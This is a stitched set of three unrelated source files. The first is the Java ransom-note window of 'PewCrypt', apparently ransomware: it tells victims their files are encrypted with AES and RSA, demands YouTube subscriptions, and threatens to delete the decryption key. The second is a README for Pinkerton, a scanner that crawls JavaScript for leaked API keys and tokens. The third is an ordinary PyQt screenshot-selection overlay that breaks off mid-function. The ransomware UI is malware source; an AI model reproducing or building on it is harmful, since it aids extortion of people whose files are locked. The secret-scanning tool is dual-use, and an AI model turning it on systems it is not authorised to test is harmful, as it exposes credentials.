MiBaErIgppi2iFpB5OKLNqSkQ0ltUIEo85yJEuHmgmGMsNANjCQDUBAsJXl/pqjP+XXvPBUVlyKaJoGNz+EAuRTXZ/RB0O7hZYStLS8xPLyMjlnPnf3x075cYxxaIwzwKPEH33mDiKeQ+xg7rfRDH7J3TuHFYYu81zFq1Zy27Rou6yqpJzYvHkTl19+Od/+u2/xZMevw99oDpiWOliVQb1MSmQpmaO2iZxV4LEEH2mEboKqLjfn8AAaoBDXyB2KOMoQa60aHUB1ZS9NwEL7FhqJFWirxNJuVZtuq2bnIFa2pRlC6SR3zBArGXJ5RNxj22igndQYoVWBWYmEp37EZXWR66SU22rB0b1umVhZET8VF8nmPrthdubdOdv/E2IIN9z4tpPGpB7j2DHOAI8Sr3n9zfSXF/2Ouz7Lr/37/3KfY9/Iq9JEh4DgXrVZQG47qYJaLCNdOeGp5oXXXI2EipSblYxjFMwOBwHUyiVMCkkNEwMp3LWsRg4Z8YQ0Ca0TYkYSY6CZoWZMchucMy4Jax8uCSMXWp0oqCKqbW+2CMkHpBUmyCAtHcUFcUU8oB5ar96MtP7GiqA+Wg5XGB2yRMriul3qSoPIEHS4RkB01YKyLM1HwxKnDiVsl3MDkOpUmtAAlKz4cJdfcLql8EHSDrVE06gItqMQvrP80JdO6TGMcXiMA+AxIHYn/MbXvLT65Q/8IwNuz25YIYkdBmuzhbWWcqAq1IMBl1x8ETt27sDMCtl49MyjWOWt9CFl9bH2+1EGqm0zZiSsbAq2Mli75sGB3zujZdzax4Gvv/ansua/lfxJnpzZSjtOtpL5ibRLRg7cl6M6r6cQo5poS4PxUb4vI1nWI12f1pq+fLCFIuzi76I31aHqNvfdffezbFL7uYVxADwGSJNIZjlUFSi3aYg1UHGcBSkVyKlm09xGrrryCrwZEsNahbLx5XlGoKz9qeu6HY87xqe2X3lbBFHYwXDYo0nFa3WMdcP4DjsGNNYAwZeWGwZDHjKXwYnZGbYevzhXveCKUl+z1YTyWS3m/BzAAU0Q0UKDsWMMWGsZRm3yGIO6BPUQwgnpQY5x4hif/WPAjW99D4NB7ZMTVZic7MybcWu7FMvHt0UhqtAM+7zgisvYvHkTOSdGptVlzHicIawnLI+I4kbOuZgbHcOHnrmvXEJpPZ0Fk+XFBekvLZBTvd6H+LzGOAAeI25++7tZ6te6PKjJ7g+tqeodM0SEoILnhtO2buHSSy7B6wYNgWS0VorjNHA9obpqfJpzPuYl8Fo4JgoZt9kNU5PvmZro0ak64Y/u+PB6H+bzFuMAeIy4+5MfIQTNISgawm3AcdcB3Q08YznTrSp2v/AaIIMZIQRyHmd/6w2R1VZHynk1Iz8GOsyBpQwzcUfVt4881l9z81i+fr0wDoDHiBvf8g4U99yZoJndep/AN9pfHXO0EoQgZcKiHg658soXMLdlGzkVatizT9D+uQf30VRMOyI4CnxHkEE7GEJRsZFW1r/fH/igP2QwGPIr//c/W+/DfN5iHACPA8nV49Keqrvnh5ZzfbtoMWxcS0VZS0k5FBxwE4IozXDIzu2nc8H5Z+OpxjGkJR2PsV5YFWxFGpxUxhW97dRLPmwS2HpXlhFCS4g5Jp3QUCGx857OhtmOV1XzijNfMa5zrBPGAfA4ED0RYsy9yQmqTuc2EandqPwY9e1l9H8R3IyJXperr7oKLKECIei4CbKeKGbO5Wvxdk76WEQQDtrYiqaXEkLYHjK9TqiIYTyQtV4YB8DjQQgY6jkrop2HmmQDpExIPHlm9dBwoLhWCkEh10Ne8qIXMTE9Q0756Rh3HeMYcDLSNLOMFnFZj1X0qqo4MSrVGCeCcQA8Dtxw41vpDxrvTHZD1avmNXZu1RBAPI9K5tKSZ48El7YSLkJODWfsPJ1LLroQHw5WnNDGeGbgZHwe5VxGBlNK4u5iVug1Y6wPxnfXceLmt72bxcWB9vsJRx8yF8Tdw8rovxyV49tIiRmMnGpmJnu88OqrKbNyh/YDGeNpgICorOn4+uoo3HFCVTEzVJV+v89wODxBZ8AxTgTjAHicuPtTHwY0x+4EGju34aUOKFgRK/Enz80+FUxHEnNOEKPpL/Pia3czMTlLqtOYBrjeWJHdby0CTmJdwsaBb90xDoDHiRvf/E7q4dC//HeP8rGv7LnPzL6hreDbaug7fBBcmQwFRqKlqRly9lm7OOeccyClcX1ondFKmAK05lUH/u44UKSBYFZg5GsZjm9TY5woxgHwBKAh+IvP7lXv2j1lnSrerqK4ex5ZYB4dVtVGaOVQpyZ6XHvt7tYic4z1hGCtJ4kU1e01vzmBj6aR5u2OlY2NsS4YB8ATQKwEDyHHiQlCt3tbClInkcoERw2RogR9SDiUe0EQD+BCzkOy9bnyqsvoTEyRG0c9Fo09tO0y28pjjFMIN7CMEsAj2pko+ogjp6QUTnRFPL6A64xxADwB1P1M1en45S+7gZe/+vXfcefrLoId2Ao+NGT1o7/U2RVVod9f4oILzuOsM3dhTcPIZPyEco4xjhkigqqSrVXdjhFVilF6+Yv13sUxThDjAHgCeONb305/adn/4jMfrz5398ezu9/V0lYygNjhbxBpZeJH3xWRVCWlhtmpCa590W6gRtRXzYqA8WV7+uDQ8vacjhT1HmmbISehhTG+kOuM8QU4QZx5/nayY8mN7H6fAbiEonh8BIyElwFQHEEltAoxiWtecDlVd2rlz+0Avtipl4QfQ0a2LkBmw8YZYpCyNF7pDh9XFji6cA+1/47bweuE8R10gvj7Bx7D3GxpMGChv3wHIvtFRVXUdWTscygc/EsRzBwVwZoBF513Nueeexb1sE8IUjhpgEgoM6njy3dK4e6EEFBVILNl0wY6UcDzcS9+VdVFJJjZfM751mwZO7i9PMbThvEddIK44cY3gYhvmpkNW+bm5l30Ngcsex65qx0O0tbBXdp2SBC0HYs7feumIpFlgzVk2fEle9pQFEzLWGLocPGFF+BNg66wm44rDHpLhH7o4osuGuzcvoNut7veR/q8xfhuOhnITt00DJsGc/uiuSAiGjQew+JGcBdyNqIGxI1Bf4ndu3cTu1PowQ2VMkS83kf+nEbxRRbqQZ8Xvehadl9zDYPlpSJhBhyPNKqZ5ZJRctu377uvfviRR6qp2Y3jJfA6YRwATwYCdDodqyZ69Gam7lTVfe6ulpMflsjsIC4rii8j4+ycjRCVVA8599yzOO/ccxksL6Oq47Gpo8ahz9Pac9ie+fL/diZbRQka8GwsLe7lwksv4Wf/yT+m24krijBHz/J8EhlezQwReUhFERG/5iWvWu+T9bzFOACeBNz4xneSUvaw1A+2b3G/m98mAVyOJOkiuEfKDZIAQzXiXnQAszds2TjFi3ZfCWQkKK5CxjEyYxoZGLrmLKzyI4Mb6rn9/kBGkojgJrgECBWmEQmd4nRsgtWJenkez4lXveFN/Mqv/Qo7T9+CN0NEQ+tjLAiH53kW949IbgUtSo5PUJX5fn/51kHdJ+eU//yPbl/v0/i8xViI7CQhNQ0uEGOF5fyloLzfPWshjh3NFp5Cal2cphly7bW7ufXDH2tfo0xNHdu0yXMXesCHgLbyfY61On7+pAy8OPW6lGZTpcXtLQ+HeG4A5/TTtvHCa67j+huu4/IXXo1YIg+XUGsIstYB68i6gKujdIKIm5kFkDu2bNoy3+t29UcPP2ivueVd630an7cYB8CThKrqoJ5t0SsGidtO69rPS6h2m1NYtMcBESE3DeeeczZnnrmL+x/4AaFTFWcyaDc7zgJhdBZWT7OLtCNsxspCt/2ZiiCipMGAQRqgqmzZtJVLL72Il77kWq668gpOP20rMQT2Le2lCkqwRBAp88Dh6IQuhBG5qeUNOiYioW7SfXv37wMI0xPT4wu4jhgHwJOE19z4Fj76od/zjdPTYSpKTsk/qCq/f0IbdSenho0zG/iJF1/L/d+5D2ViJeSN879Szyt11hL8SsYnIIqbobJa38MyeViDJVDhtNO2c/Xll3L1lS/g6qtfwLbTttDrRpaXF6n7C9QYk1UEy1RBwQxUSSscwCPFLl/7r4NUDlk13NXWhvPyYHm9T+HzGuMAeBJx5mlbmB8mq3qTBNU7lxf271PxjSKycsscC0SEgIMnXnztC/nIRz9JY4lys487wAAhhFZfT7BsBFUUx8XQqDT1EE8NWEPVnWDnmTt5weWXc80Lr+bySy/l9M1zdKvAYNAnN30WBokQhBhHQbNBHLyd1V6rc3tE5e8DL5E5BERv63Sqrwpokxq78a0/td6n8HmNcQA8iXhiqY+Ad3ITcma/xHibeH4/7pnjPNdBnMHyEpdcfDHnnXcO3/zmfcSpGXJTbszns1qWMDJsCyhOCILlutRKrUFUmZ6d5dxzLuLKF1zBlVdezvnnnMOmuY3gRj0YUA/mGfbbTFEgxDXVVWvrdyJkL1klrdCtiOPih3e+Wh0jgSJ5lZuUPpikuP4drXXCGKcO4wB4EnHjm97JZ//gw9RpVCaXLzm8X463BgjgEESouh1e9tKX8s2//TssJZDQ1paeP0ME0pKPR3SVbEY2SpOiKUvJ6elpduzazqUXX8hll13KeRddxPbt25nodYgq9JcWGC7tIzeJEEDD2gDWft0qOhZd2zbISTt66Kyo/Ij7EbmAbc7YULyjP1yp/iWgKOZHsg0c45RjHABPMlwUdbMcZkDkNm32/TywWwRzP7ZA6DgBaFKNNTU/8eIXc9tHPsHCYp/QiZgZuJzcLHBVmvCYvW+fCiJr/HRHKZuszkmvBJBWal5klGG1zx2JkbqTzfCcIDWAQajoTc2wc/sZXHLRhZx/3jlcfvGF7NqxjcluRVUF+tmo64am31DnBgViUGKl4BmXVtTARy0LbYPdCAajsUOXkvmxpgsvo+ce6jy5iWiF8yAivyFa/rROmde/aWyIvt4YB8CTjNff8pN89c8/54tP7KmABuEOEd0tSs6WdEUl2kOpLcnhC+lGQwxKGi5ywa7tXH3JRXzxf36Z0OlgK31Gjj9OPQVNZIWR4xTv2xbqK39xwB4euLmDtmeClKocuBevY7fim+KAdtBQJl8sD7HUgEJOCW8N4qHw9XrT02zZOMeZZ+xi5xlncMF5Z3Pp+dvZumUTU1PTVDEwHA5IKTEcLjMYGKKBKO3chq4GU9B2X9qT19KP5CmOqXy/9mejzC9ghDagHyiXX+qGZiqoW37M4KfEudedIHiu4piC+0zAOACeAjyxdy890dzp9khNcxvqv9Q0dUdjaYaMBhFWOpaHil7SctZccHOqGHnFK17Ol/7nV4o/hWhL9j3+LM2f0rtk9fu1C2yTEgQP19FZO2UhGkAj5qBBsZywlhXklrGcILfZHBkk0O12mJzsMTszxbZtp3H66dvZtWsXW7du5cwzdrF1yxa6nQ5TE1MEheFgL3gmDZcZ9m102loJq5HSvB9iX598vIc4qkP+RlpBW+BggVoTwc2dpkn/SlW/qCJVVVVNtsz1N739uK/ZGCcP4wB4CtAlsH9xwXbMToVY6bcWl/q/JyG8X4Scc4oiay0gDq8YbVKV2ysoy8MhL7x2N9tOP52HH91D6HZR0rH1g0cvtxJ3D+dZImRC4dQdMElRnicAqmuWs+BmOGBmeN2UmWVLrLjcBaXqVPSmp5iZmWXb3EZ27djBps1zbNm8idO3bWXHjtOZmZmi1+0yUUWqGDE3LGWaukapGc4vlQ8IMUQFMyOEcl6fznFBfWpV7gwER/r1sL6+2+l+GZUoqk2T85PnusdYN4yrsKcIn/n4h+hMTqhIMMv5oqB+j7t1vFiLSZlG0CPK2puWJa66kgx6UzP8h9/+L9xxx110pjdgacCaAtsxtYVL7rdmUkVWl3EiI+P20OZsUoKbO26GZWsl4xOreWJAYiTGismpSaYmJ5mdnWHHju1s2jTH3NwcW7duZufOHczNzTE5OcFkrOhWFZ1OB7dEzgnPmZzrFfpc0UF0VEqwtXY/YlVhGO5r+YBPL0oALF6/ho7WyhHkARfeCfyVm2ndNJbaJf0t7/iHT/t+jvHUGGeApwoqmLs/sGcvvRC/e8aGyXsw360lbBzlndrWCgtntiX2Gq9+9cu56zOfxd0gdjmga9E2Gka1LWkjmbd1rlGMGM0nqBeBhZSa1SZFrlfXh15mlDMCGun2enS6XaYnJ5mZmWFmdootWzazZcsWpmem2bJ5C6eddhqzGzYwMz3FdEeZ7HWpqlgOx4yUS6ArXsjDlo5Sfifl1LXCEILEiLeKzK6BbIaEiCvU5gcwIkcNlKcPDm5okAyibi4uGgU++L/++q984Pb//t/5/rce0N50z6peh2aQuOHmn3wa92+MI2EcAE8RXv+Wd/P5Oz/uF27ZWLnTiMidOaXdQEZQl8PX0kaQUSBzowpG3Z/n8kvP5/xzdnLffd9BtWr9ag/GwT9bW2+UlYfFHiFGup1IjIFut2JyaoLp6Sk2b5pjbsMMWzZvYnpqirm5OTbMbmDT3BwbZzfQ7XaIXaXTqQghrNBT6rrGzBB3pO6TB4ukfptdyupIGq0CtkurjD1qDHjbGxYh2ap1aHJas/j2KNRbdWZfh+AHIIaqJyMgkh2+L6K/ufOaF/zX3zjnIn/wez/STi+apYQb4+D3DMR4CXwK8bUvfZbH9y1o1elaSuniTpS/9qbuueImIiZKsMMtgQX3gIghksAzORudyWm+9Gdf5c+//FeEqruS3QGICqpFxTgEJYRA0ECIsXwdAp2qotvrUVUVk1WPqamyVJ2ZmWJisktvoosIVFWgU5UurVLqgGaGm1EPh+VrGswzwmoAMndijGUywxVVbQOer/hr0P4/rTl+cVpCsqwwcEbL29KrkbYx1FLz3NGnXx6s7dgQ2wuEw0eaJv36abvOunf7xITd891vaQzBU5PdmkR3eoLrbxoHv2cixgHwFOLuP/gwvaqH5iYA2VV/Ryy/3yGZEo1Vasmh4CaoOKoZyJiDSyR0pqiqCXKq29pXyexUVxaEa8qBq1+XTAncDTdQD7hnUqrbbRjmRWorW6bOoC3p2t2JGnE3zIwYAk7CMUIovMRW64529BaXXutoN+q5jAJe+6/YgRMR1lJUvJCIg5YoWJ4r2Ch4jhSZj5tMfIAf3+GuQAnueDn1SHAcEc3u/n1BfvO6m972XwH/k8/eLtlykNCOepjz6je89RS9u8Y4GRgHwFOMOz92KzMzk8HMMiLvFcu/r2ZWkhfB9GjdxdYs80RK/8HLCNfaJOjA/GrNs9ul9KhZMCIZHxgGfIW4zGiZOqohrllmrjQb2sxsFODM/YBS5OpSe+1RHHRMRzjqp/r9SvP6KE6cHPA8XXn+aFfDQS8wiqdGKeNWNNlSimjAJYho/PbycPiR3sTEpxYH3b86442v9713fzTgTndiIk/0JrnmZdfz5T/+ND9x3Y3H8lYZYx0wDoCnGF/89O3kPJTHl5a96Tdh52lzXxbLu0lYFSsdkE78RcY4JA5+g48UmkfLdV0z7TIqJHhROhUgBHFSk7LG+D13/+1H9+z5vT179gx3nL6NbuwyMTERJyYmk6gyHAx45evfvN6HPMYxYBwAnwZ87c+/wOOPPxpUNAPvDSq/r46piDZjUatTiidRvNfYD6yop0Juzeyjr+0UCd9OZh9x80+ddfE7/+qOj/5rv/qKK2jcq06nmz0lk1jRNRiSuf6mt6334Y5xjBgHwKcBn7v9w1TdSQndngfV2f7i/I9o6tmgwbP4mBZ7CrH2DT5qmGhpM7uIeDYJyEpFcuDFm+Bu4G6UW7PQJ0MnQN2kiIb84+/+0DdumGJ6xzauf924xvdsxpgG8zRAY8WgGXpMTchm84jcGkN4n5tnl/E1OJUQEW+Xu0ZpsaiJBjMTDeooy4h80nP+FiKfRuQe1JMEyZ3Qob/cr8wsE7qmQdLMpq1EDVx34zjbey5gnAE+Tbj7Ex+i05vQWHUspXRRR7mn7i91JFbHJZY6xpNwcCKdAY8i0UsULKbzIVqTbSgiPw4qv2nY//jhd/uLP/2z7/VPf/wjdHsKZYhYXMmDLt7tl1rhmMry3MP4xnua8Id3fZxuVNKwDiqSXfR3gsr7k1linIkfD0YBb2TNNrLXOwDBfQBkE/mUS/y2hvjocuJDi0kHG9K+YXdmElJWdw/unhEZDckA46D3XMc4AD6NuOtTtzHZieru5shF4vY3Itozd3d3WY9Z1vXHgUSVtbPMXkp1iKibt/xCJLcnK7q7rJGFHgIDSvMi4nxS4Fvdqvr0zGTvnr1Li8nFchW71MPcbp8oWPY1Zdjr3jhe2j6fMM48nkZMdrskHzhbIpNx8rvLD++/tzJ2i7sHVSneFkV8wL0M/Is+s3XjnmQRvkbcwZERz6T9gbSNV13REBWTVRJKO/KLgKsYjkUyKh6l/BQ3iYWraAM3yzHqp5rUfCtU8dOe4z2u1jPFtMuiGT5oEvX+BQA1iZWZeJ2LyOHW7bvScm0s732Y1910y3qfyjHWAc/HlGNd8YW7Pkb2JohKdue9Icvv455CCNEdXAtHbWWu9RmeFbocSHY+QA8Q0JUV6ijoyZrhDfHo5gK5Jadg+IiKglF8N4Lq0IyBFFn5TwaN32pS8+lHH3zonu7UbFpcXMwpGT/zsz/H5+/86GjjKhAqDdndPHmhPosIrx4va8do8cy+u56DuPfPP89Dex4jmAQzyyGG39EQ3m8516raGY2SwbPB9lIwiQfsp48EaVod6MoHyBrRLyuzcNZqgYUOrVZgK0dv5gNHMsgfSNB7kjDT5PwJt/iN6dnJ3uVXXjO/PFj2H933bfoL+wDUzIKEmPEi19ruw7iON8YRMQ6ATzPu/IP/l81bt/L4g0/I3sf3eKfXOWPb6dvvbprmcoEkQigUtWdmEFw7DuftjK5KkbkvDQRtf6/mblZJUpywJgCWL1zMhTqQfqDYrU5wR6MSPjU1s+kbj+V+Sr1e7hF4zUteyefv/tio3KeqEnK2nIYDr7pdL8tu4fqbxx4bYxwbxgFwHfD5Oz+MiCKxq1V3wvB8xvJy/1Pido0ICcuiqgG3o5iWPbVQ1bVLcl+boapgwRvDnRAi2T2ai4gqKReFZnfzbLaoGgyhAv2EqNyXzR81tw9l6QzmfN/QUH6Xf8BP89HRKIaqakgKKaUcNbhoIIh4mYU2Xv36MQl5jBPDOACuEz79iQ+hqlSdjt5//3f4mZ/93+0P7/rkv0TsN8Wyx6Dm7uZWOGnt0062/9vB3x/SY1NElNZkYxQQgwrB6iKTJYJoGNZNGkisKtw/geh9ovroINX/o1IlNe7nv3D34mBxwecff4y08Ei79VD5yJHNJauKJ1/VPLhu7J8xxinCOACuE+782O9z2vaduBvDQV/dM0/s32uz0xveEYV/bTldbmauoms9j0YFs7VBcS0Oti87HCJHcf3XCI06sDgaqwghRDP7ZKXcm3PqGhqy+ae27TrnG9/77nd6Z19w4fzC/v2eU+JVN7yBz99VmhMOqiIhGw6WVQxz9yAZJ3L9Te9a70szxvMI4wC4jrj7Dz7GttO2EELF/MKCLC/Ny+7d19qPH3owPP7Yw+8xswtxfQP4Fa029MTqs1vyyAp17pA+beWfJ8vfrfLmSnf1h8CtPFmo2oAOyA9FuFVV3cykaZI/+uj8YrcbPMbIW9/7vwDwudtva5/uKqpBNXiTmxxEMBdip3JBMMtc94Yx526M9cU4AD4D8IXP3k4MHbILZv3QDdG+/qX/6Re/6BrAe7ioqO4y9/c4nkDeLMIVwEBHgk7u0d0+qar3unsP8GLUkxBd8et1N8fxmHP+1ESY+EZjTQ8AYUBiCMCZcP1Vh+6cfuHOj7Seuq5RPOSUcAmYe44xet0kYhW93a9xF3aMZyzGAfAZgs/e+WHmpmfZ/crX82efv4PU1NHMBLEkImV2RKdpS2PdGEMvhGATna6klFleXvaHH350saq63u0Gbn7Hu4/qddfw5qBkgoeAuAh5Lc/PisM4InDDze9Y71M4xhjHjHEAfAbiC3d+gswAUJRYKG2lFhgcIHupBYrwmlvexufv/PhI8VlVNaxyqNsMUIpXCECbAWLZcqWV21pbzh04e4DhmDs3xvMD4wD4LMHn7v4EkmPJANVkJGsfNeDu5JzJObcZmXDDzWOKyBhjjDHGGGOMMcYYY4wxxhhjjDHGGGOMMcYYz2/8/0bgaSXb+gzkAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE4LTEyLTA2VDEyOjEwOjA1LTA1OjAwDhqa6QAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOC0xMi0wNlQxMjoxMDowNS0wNTowMH9HIlUAAAAASUVORK5CYII=";
private static BufferedImage img = null;
private static JProgressBar progressBarPEW = new JProgressBar();
private static JProgressBar progressBarT = new JProgressBar();
private static JLabel lblPewdiepie = new JLabel("Pewdiepie Sub Count: ");
private static JLabel lblT = new JLabel("T-Series Sub Count: ");
/**
* Launch the application.
*/
public void Entry() {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
UI window = new UI();
window.frmYourFilesHave.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
while (true) {
final int pewCount = scraper.getPewdiepieCount();
final int TseriesCount = scraper.getTSeriesCount();
try {
EventQueue.invokeLater(new Runnable() {
public void run() {
progressBarPEW.setValue(pewCount);
progressBarT.setValue(TseriesCount);
lblPewdiepie.setText("Pewdiepie Sub Count: " + pewCount);
lblT.setText("T-Series Sub Count: " + TseriesCount);
}
});
Thread.sleep(100);
} catch (InterruptedException e) {
}
}
}
/**
* Create the application.
*/
public UI() {
initialize();
}
/**
* Initialise the contents of the frame.
*/
private void initialize() {
byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);
try {
img = ImageIO.read(new ByteArrayInputStream(imageBytes));
} catch (IOException e1) {
e1.printStackTrace();
}
frmYourFilesHave = new JFrame();
frmYourFilesHave.setResizable(false);
frmYourFilesHave.setIconImage(img);
frmYourFilesHave.setTitle("PewCrypt");
frmYourFilesHave.setType(Type.POPUP);
frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
frmYourFilesHave.setBounds(100, 100, 1247, 850);
frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frmYourFilesHave.getContentPane().setLayout(null);
txtYourFilesHave = new JTextField();
txtYourFilesHave.setBounds(0, 0, 1215, 45);
txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
txtYourFilesHave.setBackground(Color.BLACK);
txtYourFilesHave.setForeground(Color.RED);
txtYourFilesHave.setEditable(false);
txtYourFilesHave.setText("Your Files Have Been Encrypted!");
frmYourFilesHave.getContentPane().add(txtYourFilesHave);
txtYourFilesHave.setColumns(10);
JTextArea Instructions = new JTextArea();
Instructions.setBounds(0, 242, 1215, 203);
Instructions.setEditable(false);
Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
Instructions.setBackground(Color.BLACK);
Instructions.setForeground(Color.RED);
Instructions.setText(
"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
frmYourFilesHave.getContentPane().add(Instructions);
progressBarPEW.setMaximum(100000000);
progressBarPEW.setForeground(new Color(0, 153, 204));
progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
progressBarPEW.setBackground(Color.DARK_GRAY);
progressBarPEW.setBounds(0, 85, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarPEW);
progressBarT.setMaximum(100000000);
progressBarT.setForeground(new Color(204, 0, 0));
progressBarT.setToolTipText("T-Series Sub Progress Bar");
progressBarT.setBackground(Color.DARK_GRAY);
progressBarT.setBounds(0, 186, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarT);
JButton btnNewButton = new JButton(new ImageIcon(img));
btnNewButton.setBackground(Color.BLACK);
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try {
// open Pewdiepie channel
Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
}
});
btnNewButton.setBounds(491, 485, 241, 249);
btnNewButton.setBorderPainted(false);
btnNewButton.setFocusPainted(false);
btnNewButton.setContentAreaFilled(false);
frmYourFilesHave.getContentPane().add(btnNewButton);
lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
lblPewdiepie.setForeground(Color.RED);
lblPewdiepie.setBounds(0, 47, 1215, 33);
frmYourFilesHave.getContentPane().add(lblPewdiepie);
lblT.setHorizontalAlignment(SwingConstants.CENTER);
lblT.setForeground(Color.RED);
lblT.setBounds(0, 144, 1215, 33);
frmYourFilesHave.getContentPane().add(lblT);
}
}
|
000pp/Pinkerton
| 2,175 |
README.md
|
# 🕵️ Pinkerton
> Investigating JavaScript files since 1850
<div align="center">
<img src="https://i.imgur.com/qQXb2ha.png" width=700>
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/000pp/Pinkerton?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/issues/000pp/Pinkerton?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/stars/000pp/pinkerton?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/forks/000pp/Pinkerton?color=yellow&logo=github&style=for-the-badge">
</p>
___
<br>
<p>Python project to crawl for JavaScript files and search for secrets like API keys, authorization tokens, hardcoded passwords, or related data.</p>
<br>
## ⚡ Getting started
<p>A quick guide on how to install and use Pinkerton. </p>
1. Clone the repository with: `git clone https://github.com/000pp/pinkerton.git`
2. Install the libraries with: `pip3 install -r requirements.txt --break-system-packages`
3. Run Pinkerton with: `python3 main.py -u https://example.com`
<br>
### 🐳 Docker
If you want to use pinkerton in a Docker container, follow this procedure:
```
1. Clone the repository - git clone https://github.com/000pp/pinkerton.git
2. Build the image - sudo docker build -t pinkerton:latest .
3. Run container - sudo docker run pinkerton:latest
```
<br>
### ⚫ BlackArch
```
pacman -Syu pinkerton
```
<br><br>
## 🔨 Contributing
A quick guide on how to contribute to the project.
1. Create a fork of the Pinkerton repository
2. Clone the repository with `git clone https://github.com/your/pinkerton.git`
3. Type `cd pinkerton/`
4. Create a branch and make your changes
5. Commit and perform a git push
6. Open a pull request
<br><br>
## 🙏 Credits
- [m4ll0k (SecretFinder creator)](https://github.com/m4ll0k) for the regex patterns
- [h33lit (Jubaer Alnazi)](https://github.com/h33tlit) for the regex patterns
- [zricethezav (GitLeaks creator)](https://github.com/zricethezav/gitleaks) for the regex patterns
<br><br>
## ⚠️ Warning
- The developer is not responsible for any malicious use of this tool.
|
00000O00000/ask-ai-screenshot
| 17,898 |
screenshot_overlay.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析 - 高级截图覆盖层
提供流畅的截图体验，包括区域选择、确认/取消等功能
"""
import logging
from PIL import ImageGrab, Image
from PyQt6.QtCore import Qt, QRect, QPoint, pyqtSignal
from PyQt6.QtGui import (
QPainter, QPen, QColor, QFont,
QFontMetrics, QKeySequence, QShortcut
)
from PyQt6.QtWidgets import (
QWidget, QApplication, QHBoxLayout,
QPushButton, QFrame
)
class ScreenshotOverlay(QWidget):
"""截图覆盖层窗口"""
# 信号定义
screenshot_confirmed = pyqtSignal(object) # 确认截图信号
screenshot_cancelled = pyqtSignal() # 取消截图信号
def __init__(self):
super().__init__()
self.setup_ui()
self.setup_variables()
self.setup_shortcuts()
def setup_ui(self):
"""设置UI"""
# 设置窗口属性
self.setWindowFlags(
Qt.WindowType.FramelessWindowHint |
Qt.WindowType.WindowStaysOnTopHint |
Qt.WindowType.Tool
)
self.setAttribute(Qt.WidgetAttribute.WA_TranslucentBackground)
self.setWindowState(Qt.WindowState.WindowFullScreen)
# 设置鼠标追踪
self.setMouseTracking(True)
# 获取屏幕尺寸
screen = QApplication.primaryScreen()
self.screen_geometry = screen.geometry()
self.setGeometry(self.screen_geometry)
# 截取屏幕背景
self.background_pixmap = screen.grabWindow(0)
def setup_variables(self):
"""设置变量"""
self.is_selecting = False
self.selection_start = QPoint()
self.selection_end = QPoint()
self.current_rect = QRect()
self.is_dragging = False
# 控制面板相关
self.control_panel = None
self.show_control_panel = False
def setup_shortcuts(self):
"""设置快捷键"""
# ESC键取消
self.escape_shortcut = QShortcut(QKeySequence(Qt.Key.Key_Escape), self)
self.escape_shortcut.activated.connect(self.cancel_screenshot)
# Enter键确认
self.enter_shortcut = QShortcut(QKeySequence(Qt.Key.Key_Return), self)
self.enter_shortcut.activated.connect(self.confirm_screenshot)
# Space键确认
self.space_shortcut = QShortcut(QKeySequence(Qt.Key.Key_Space), self)
self.space_shortcut.activated.connect(self.confirm_screenshot)
def mousePressEvent(self, event):
"""鼠标按下事件"""
if event.button() == Qt.MouseButton.LeftButton:
self.is_selecting = True
self.selection_start = event.pos()
self.selection_end = event.pos()
self.current_rect = QRect()
self.hide_control_panel()
self.update()
def mouseMoveEvent(self, event):
"""鼠标移动事件"""
if self.is_selecting:
self.selection_end = event.pos()
self.current_rect = QRect(self.selection_start, self.selection_end).normalized()
self.update()
def mouseReleaseEvent(self, event):
"""鼠标释放事件"""
if event.button() == Qt.MouseButton.LeftButton and self.is_selecting:
self.is_selecting = False
self.selection_end = event.pos()
self.current_rect = QRect(self.selection_start, self.selection_end).normalized()
# 如果选择区域太小，则取消选择
if self.current_rect.width() < 10 or self.current_rect.height() < 10:
self.current_rect = QRect()
self.update()
return
# 显示控制面板
self.show_control_panel_at_selection()
self.update()
def mouseDoubleClickEvent(self, event):
"""鼠标双击事件 - 快速确认"""
if not self.current_rect.isEmpty():
self.confirm_screenshot()
def keyPressEvent(self, event):
"""键盘按下事件"""
if event.key() == Qt.Key.Key_Escape:
self.cancel_screenshot()
elif event.key() in (Qt.Key.Key_Return, Qt.Key.Key_Enter, Qt.Key.Key_Space):
if not self.current_rect.isEmpty():
self.confirm_screenshot()
super().keyPressEvent(event)
def paintEvent(self, event):
"""绘制事件"""
painter = QPainter(self)
painter.setRenderHint(QPainter.RenderHint.Antialiasing)
# 绘制背景（半透明遮罩）
painter.drawPixmap(0, 0, self.background_pixmap)
# 绘制遮罩层
overlay_color = QColor(0, 0, 0, 120) # 半透明黑色
painter.fillRect(self.rect(), overlay_color)
# 如果有选择区域，绘制选择框
if not self.current_rect.isEmpty():
self.draw_selection_area(painter)
self.draw_selection_instructions(painter)
else:
# 绘制初始提示信息
self.draw_instructions(painter)
def draw_selection_area(self, painter):
"""绘制选择区域"""
# 清除选择区域的遮罩，显示原始截图
painter.setCompositionMode(QPainter.CompositionMode.CompositionMode_Clear)
